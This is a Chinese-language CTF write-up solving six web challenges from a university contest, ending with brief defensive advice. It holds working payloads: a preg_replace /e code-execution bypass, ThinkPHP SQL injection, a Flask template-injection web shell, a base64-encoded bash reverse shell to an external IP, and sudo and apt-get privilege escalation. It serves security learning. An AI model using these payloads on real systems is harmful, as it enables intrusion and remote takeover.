记某高校CTF赛WEB全解
字数 1030 2025-08-22 12:22:15
CTF Web题目全解与漏洞利用技术教学文档
1. Please_RCE_Me题目解析
1.1 题目源码分析
<?php
if ($_GET['moran'] === 'flag'){
highlight_file(__FILE__);
if (isset($_POST['task']) && isset($_POST['flag'])){
$str1 = $_POST['task'];
$str2 = $_POST['flag'];
if (preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i', $str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/', $str2)){
die('hacker!');
} else {
preg_replace("/please_give_me_flag/ei", $_POST['task'], $_POST['flag']);
}
}
} else {
echo "moran want a flag.</br>(?moran=flag)";
}
1.2 漏洞点分析
考点: preg_replace的/e修饰符命令执行漏洞
绕过技巧:
- 正则开启了大小写匹配(/i),可以用于绕过对"please_give_me_flag"的检测
- 使用十六进制编码绕过过滤
1.3 利用Payload
?moran=flag
POST:
flag=please_give_me_flaG&task=print(file_get_contents("\x2f\x66\x6c\x61\x67"));
2. ez_tp题目解析
2.1 关键代码分析
if (waf()){
echo "12311";
$this->index();
}else{
$ret = $User->field('username,age')->where(array('username'=>$name))->select();
echo "success";
echo var_export($ret, true);
}
2.2 WAF绕过分析
WAF过滤内容:
$pattern = "insert|update|delete|and|or|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
触发方法:
使用特殊URL格式触发控制器方法:
index.php/home/index/h_n
2.3 SQL注入Payload
index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag
3. ezFlask题目解析
3.1 内存马注入技术
利用Flask模板注入进行内存马写入:
cmd = render_template_string(
"{{url_for.__globals__['__builtins__']['eval']("
" app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read()) "
",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}"
)
4. flipPin题目解析
4.1 源码分析
from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode
import json
default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)
4.2 攻击思路
-
AES-CBC位翻转攻击:
- 通过修改密文的特定字节来改变解密后的明文
- 目标是将
"admin": 0改为"admin": 1
-
文件读取绕过技巧:
- 黑名单绕过: 当
cgroup被过滤时,使用mountinfo或cpuset
- 黑名单绕过: 当
4.3 利用步骤
- 获取初始session cookie
- 对session进行base64解码
- 定位并修改admin标志位
- 使用修改后的session访问/read接口
5. GoJava题目解析
5.1 源码分析
func isFilenameBlacklisted(filename string) bool {
for _, char := range filename {
for _, blackChar := range blacklistChars {
if char == blackChar {
return true
}
}
}
return false
}
5.2 命令注入技巧
Payload构造:
"1;echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDEuMTcuMTgzLzI1MCAwPiYxIg== | base64 -d | bash;1.java"
关键点:
- 使用base64编码绕过黑名单字符检测
- 必须使用bash执行,sh可能连接不稳定
6. GPTS题目解析
6.1 提权技术总结
-
信息收集:
- 检查
/var/spool/mail/目录获取敏感信息 - 使用
sudo -l查看可用特权命令
- 检查
-
密码发现:
From root,To ctfgame(ctfer), ctfgame : KbsrZrSCVeui#+R -
特权提升路径:
- 将用户添加到root组:
sudo adduser ctfer root - 创建新用户并设置gid为0:
sudo adduser --gid 0 chu0
- 将用户添加到root组:
-
APT提权:
sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
7. 综合防御建议
-
PHP安全:
- 避免使用
preg_replace的/e修饰符 - 严格过滤用户输入
- 避免使用
-
Flask安全:
- 禁用模板中的危险函数
- 使用安全的session管理
-
系统安全:
- 限制sudo权限
- 定期检查邮件和日志文件
- 使用强密码策略
-
文件上传安全:
- 严格验证文件名和内容
- 在沙箱环境中处理上传文件
-
加密安全:
- 使用认证加密模式如AES-GCM而非CBC
- 实施MAC校验防止篡改